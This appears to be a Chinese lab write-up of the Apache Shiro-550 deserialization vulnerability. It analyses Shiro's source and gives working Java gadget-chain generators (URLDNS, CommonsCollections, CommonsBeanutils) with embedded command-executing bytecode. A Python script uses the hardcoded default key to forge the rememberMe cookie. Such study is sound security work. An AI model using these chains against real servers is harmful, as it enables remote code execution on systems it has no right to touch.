Shiro反序列化

简介

Apache Shiro是⼀个功能强⼤且易于使⽤的Java安全框架,它⽤于处理身份验证,授权,加密和会话管理在默认情况下, Apache Shiro使⽤CookieRememberMeManager对⽤户身份进⾏序列化/反序列化,加密/解密和编码/解码,以供以后检索。

Apache Shiro接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份。

  • 从请求数据包中提取CookierememberMe字段的值,对提取的Cookie值进⾏Base64解码
  • Base64解码后的值进⾏AES解密
  • 对解密后的字节数组调⽤ObjectInputStream.readObject()⽅法来反序列化。

但是默认AES加密密钥是“硬编码” 在代码中的。因此,如果服务端采⽤默认加密密钥,那么攻击者就可以构造⼀个恶意对象,并对其进⾏序列化,AES加密,Base64编码,将其作为CookierememberMe字段值发送。Apache Shiro在接收到请求时会反序列化恶意对象,从⽽执⾏攻击者指定的任意代码。

shiro550 shiro <1.2.4

环境搭建

环境直接使用P神的shirodemo:https://github.com/phith0n/JavaThings/blob/master/shirodemo 下载后IDEA打开加载maven即可。

接着添加tomcat,配置如下:

image-20240221084744821

调成一个没有占用的端口,这里我设置的是8081。url不用改,之后会自动修改。

image-20240221084906968

然后应用,启动tomcat即可。

源码分析

首先找到web模块下org.apache.shiro.web.mgt.CookieRememberMeManager类,然后找到 getRememberedSerializedIdentity()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

不难看出这个方法进行了base64解码。然后逆向追踪查找调用处,能够找到shiro-core模块的org.apache.shiro.mgt包的AbstractRememberMeManager类。其中有一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

可以看到这里除了调用了getRememberedSerializedIdentity()方法,还有一个convertBytesToPrincipals()方法。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

这里进入decrypt()方法:

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

看到这里并结合简介的内容就可以知道应该是AES加密。其中getDecryptionCipherKey()方法用于获取加密的密钥,进入其中查看:

1
2
3
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}

查找该属性在哪里被赋值:

1
2
3
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}

继续查找该方法的调用,可以查到setCipherKey()方法。

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

继续查找调用,找到了构造方法:

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

该构造方法传入了一个常量值:

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

到这里密钥我们就知道了。然后回到convertBytesToPrincipals()方法:

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

刚才我们追踪的decrypt()方法,所以现在追踪deserialize()方法:

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

继续跟踪getSerializer().deserialize(serializedIdentity)发现是一个接口,那么查找实现类,找到shiro-core模块,org.apache.shiro.io包下的DefaultSerializer类,查看该类中重写的deserialize()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

使用了readObject()方法,故存在反序列化漏洞。

payload

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段。

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段。

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

  • 经过分析可知服务器会对rememberMe字段进行base64解码,然后AES解密,最后反序列化。所以payload反着来就行。

  • 最后在登录时勾选RememberMe字段然后修改之后Cookie中的rememberMe字段为payload即可触发。

URLDNS检测

首先将URLDNSpayload序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class study2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap map = new HashMap<>();
URL url = new URL("xxx");

Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
// 将hashCode设置为222,否则put将产生一次DNS解析
fieldhashcode.set(url,222);
map.put(url,"hello");
// 在序列化前将url的hashCode设置为-1,这样在反序列化时就可以调用handler的hashCode
fieldhashcode.set(url,-1);
se(map);
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}

然后进行AES并BASE64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes


def encrypt_text(key, text):
BS = AES.block_size
salt = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC,salt)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
with open('../bin.ser','rb') as f:
data = f.read()
strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
print('rememberMe=' + strEN.decode())

image-20240221085721603

访问shirodemo_war/login.jsp页面的请求包时删除JSESSION,否则rememberMe字段不起作用。修改rememberMe字段值为payload然后到DNSLOG平台看记录即可。

CC

由于ClassUtils.forName()方法的使用,反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以原来的CC链是无法利用的。回忆CC1的InvokerTransformer.transform()是可以执行任意方法的,那么结合TemplatesImpl不就可以加载任意恶意类的字节码吗?故有payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class CC11 {
public static void main(String[] args) throws Throwable {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map transformedMap = TransformedMap.decorate(hashMap, null,chainedTransformer);
transformedMap.put("xxx", "xxx");
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
}

方便理解,有流程图如下:

image-20240221095001652

回到正题,这里仍然利用了Transformer数组,可见也是无法利用的。但是回想一下CC6的TiedMapEntry调用Lazymap.get()方法的过程:

  • LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer)创建Lazymap
  • new TiedMapEntry(lazyMap,runtime):第一个参数传入构造好的Lazymap,第二个传入LazymapinvokerTransformer调用方法所属的对象

这里再看一下Transformer数组:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{}),
};

数组第一个元素是invokerTransformer调用方法所属的对象,第二个是invokerTransformer。那么这个数组转换成TiedMapEntry利用不就只有一个invokerTransformer对象了吗,所以也就不用数组了。直接把CC6的payload拿来改改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class CC11 {
public static void main(String[] args) throws Throwable {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

HashMap hashMap = new HashMap<>();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[] {}, new Object[]{});
// 先不传入chainedTransformer,防止put执行payload
LazyMap lazyMap =(LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
HashMap map1 = new HashMap();
map1.put(new TiedMapEntry(lazyMap,templates),"Critstrik010");
lazyMap.remove(templates);
// 反序列化前将chainedTransformer传入lazyMap。
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,invokerTransformer);
se(map1);
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}

public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}

然后进行AES和BASE64编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Cipher import AES
import base64
from Crypto.Random import get_random_bytes


def encrypt_text(key, text):
BS = AES.block_size
salt = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC,salt)
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
return base64.b64encode(salt + cipher.encrypt(pad(data)))
if __name__ == '__main__':
with open('../bin.ser','rb') as f:
data = f.read()
strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), data)
print('rememberMe=' + strEN.decode())

抓包修改:

image-20240221102245384

成功弹出计算器。

注:字节码来源Java加载字节码 | Cristrik010 (dotfogtme.ltd)

CommonsBeanutils无依赖反序列化利用

上面CC链已经可以在shiro利用了,但是有一个问题就是项目得有commons-collections依赖,这种情况肯定不会很多。因此shiro自带的CommonsBeanutils就可以解决这个问题。

Apache Commons Beanutils提供了对普通java类对象(javaBean)的一些操作方法。在CommonsBeanutils中有BeanComparator类。这个类的compare()方法实现了javaBean的比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

这个方法调用了PropertyUtils.getProperty(o1, this.property),该方法让使用者可以调用o1对象this.property属性的getter()方法。到这里就需要找哪些getter()可以利用呢?还真有,在TemplatesImpl加载字节码:Java加载字节码 | Cristrik010 (dotfogtme.ltd)这篇文章中,newTransformer()是加载的起点,其实向上追踪还有一个方法:getOutputProperties()

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

这命名不就是outputProperties属性的构造方法吗?知道这些,那payload就好说了,直接调用这个getter()方法。到写的时候才发现,怎么才能调用compare()方法呢?于是逆向追踪哪里调用compare()方法,找到java.util.PriorityQueue这个类的siftUpUsingComparator()方法

1
2
3
4
5
6
7
8
9
10
11
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

这里comparator需要是BeanComparator对象,查找可知构造方法可以直接传入。但是private继续向上查找,找到siftUp()仍是private

1
2
3
4
5
6
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

继续找,找到了offer()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

此时是public。那么payload基本就有了,但是要思考一个问题,追踪了半天,这条链和反序列化有什么关系呢?接着观察PriorityQueue类的readObject()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

重点是最后的heapify()跟踪发现,这个方法调用了调用关系如下:

1
2
3
4
heapify()
siftDown()
siftDownUsingComparator()
comparator.compare()

siftDownUsingComparator()和上面siftUpUsingComparator()逻辑相似,这里不进行分析。构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class Mycb {
public static void main(String[] args) throws Exception{
BeanComparator beanComparator = new BeanComparator();
// 构造方法传入 comparator
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
// 先不传入templates,因为无法比较大小会报错
priorityQueue.offer("1");
priorityQueue.offer("2");
// 反射修改this.property为outputProperties,之后会调用其getter()
setFieldValue(beanComparator,"property","outputProperties");
// 构造恶意字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Cristrik010");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 反射修改上文offer()传入的参数
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
se(priorityQueue);
}
static void setFieldValue(Object object,String FieldName,Object data) throws Exception{
Field bytecodes = object.getClass().getDeclaredField(FieldName);
bytecodes.setAccessible(true);
bytecodes.set(object,data);
}
public static void se(Object obj) throws IOException, ClassNotFoundException {
FileOutputStream fileOut = new FileOutputStream("bin.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
}

然后抓包修改参数即可。流程图如下:

image-20240221204939133

payload 过长的解决办法

  1. 使用urlclassloader加载远程字节码
  2. 将字节码放在postbody中,恶意类实现加载body中的字节码即可。

shiro721与shiro550的区别

  1. 这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie

  2. Shiro721ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度高

版本区别

